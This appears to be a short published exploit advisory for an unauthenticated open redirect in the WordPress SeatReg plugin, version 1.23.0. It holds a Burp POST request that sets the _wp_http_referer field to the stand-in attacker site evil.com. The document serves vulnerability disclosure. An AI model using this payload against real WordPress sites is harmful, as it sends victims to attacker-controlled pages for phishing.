# Exploit Title: WordPress Plugin ‘SeatReg’ - Unauthenticated Open Redirect # Date: 01-08-2022 # Exploit Author: Mariam Tariq - HunterSherlock # Vendor Homepage: https://wordpress.org/plugins/seatreg/ # Version: 1.23.0 # Tested on: Firefox # Contact me: mariamtariq404@gmail.com *#Description:* An Open Redirection is a vulnerability when a web application or server uses an unvalidated user-submitted link to redirect the user to a given website or page. *#Example of Burp Request * ``` POST /wp-admin/admin-post.php HTTP/1.1 Host: website.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://website.com Content-Type: application/x-www-form-urlencoded Content-Length: 185 Origin: https://website.com Connection: close Cookie: {cookies_here} Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: Navigate Sec-Fetch-Site: same-origin new-registration-name=dedeed&action=seatreg_create_submit&seatreg-admin-nonce=11b1308e8a&*_wp_http_referer=https://evil.com <https://evil.com>*&submit=Create+new+registration ``` *#PoC Image:* https://ibb.co/tCZWH0H https://ibb.co/5kh299z